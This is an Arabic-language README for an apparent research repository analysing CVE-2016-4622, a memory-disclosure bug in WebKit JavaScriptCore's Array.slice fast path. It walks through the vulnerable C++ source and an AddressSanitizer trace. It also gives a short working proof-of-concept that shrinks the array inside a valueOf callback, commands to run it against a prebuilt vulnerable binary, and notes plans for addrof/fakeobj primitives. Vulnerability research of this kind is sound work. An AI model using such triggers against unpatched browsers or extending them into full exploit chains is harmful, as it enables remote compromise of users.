
رحلتي في عملية استغلال ثغرة WebKit CVE-2016-4622
تحليل شامل واستغلال ثغرة WebKit JavaScript Core التي تمكن من كشف الذاكرة من خلال التلاعب بـ Array.slice
يحتوي هذا المستودع على تحليل شامل لـ CVE-2016-4622، وهي ثغرة خطيرة في كشف الذاكرة في محرك JavaScript Core في WebKit. تنشأ الثغرة من حالة سباق (race condition) في تنفيذ Array.slice() يمكن استغلالها لتسريب محتويات الذاكرة المجاورة، لتكون أساسًا لأدوات استغلال أكثر تطورًا مثل addrof و fakeobj.
التأثير: كشف الذاكرة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد محتمل
المكون المتأثر: WebKit JavaScript Core (JSC)
السبب الجذري: ثغرة زمن التحقق مقابل زمن الاستخدام (TOCTOU) في تنفيذ fastSlice
توجد الثغرة في 'المسار السريع' المحسّن في WebKit لطريقة Array.slice(). عند معالجة معاملات القطعة (slice parameters)، يقوم المحرك بتحويل وسائط الكائنات إلى قيم أولية عن طريق استدعاء طريقة valueOf() الخاصة بها. يحدث هذا التحويل بعد تحديد معاملات عملية القطعة ولكن قبل عملية نسخ الذاكرة الفعلية.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
ما يحدث:
a بـ 100 عنصرvalueOf()valueOf() الخبيث بتقليص المصفوفة إلى طول 0memcpy نسخ 10 عناصر من مصفوفة فارغةWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation
الملفات الثنائية: ملفات JSC ثنائية مُجمَّعة مسبقًا على VMWare OSX 10.11 باستخدام XCode 7.3.2 البنية: ملفات تنفيذية x86_64 Mach-O ميزات التصحيح: الرموز + AddressSanitizer لتحليل شامل
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
تقوم طريقة Array.slice(begin, end) بإنشاء نسخة سطحية من جزء من مصفوفة. في الظروف العادية:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
الرؤية الأساسية: يخضع المعامل end لتحويل النوع عبر valueOf()، مما يخلق نافذة للاستغلال.
عند تشغيل الثغرة، يلتقط AddressSanitizer تدفق الاستدعاء هذا:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - نقطة الدخولالموقع: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - محفز التحويلالموقع: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
حالة السباق:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) دالة valueOf() الخبيثة لديناfastSlice() - حيث يحدث تلف الذاكرةالموقع: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
تلف الذاكرة:
startIndex = 0، count = 10valueOf())memcpy 10 قيم JSValue بدءًا من الفهرس 0مرحلة الإعداد
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
مرحلة التشغيل
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
مرحلة الاستغلال
valueOf()fastSlice نسخ 10 عناصر من مصفوفة فارغةالنتيجة
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
تعمل هذه الثغرة كأساس لـ:
addrof/fakeobjاستراتيجيات التخفيف:
memcpy320b1fc3f6fالجدول الزمني للبحث: 11-12 أبريل 2020
الحالة: التحليل مكتمل ✅
الخطوات التالية: تطوير سلسلة استغلال كاملة باستخدام أدوات addrof/fakeobj
| المكون | المشكلة | التأثير |
|---|
| معالجة المعاملات | TOCTOU في argumentClampedIndexFromStartOrEnd | يسمح بتعديل الحالة أثناء المعالجة |
| منطق المسار السريع | التحقق غير الكافي في fastSlice | يتجاوز فحص الحدود |
| عمليات الذاكرة | memcpy غير مراقب في نسخ المصفوفة | كشف ذاكرة مباشر |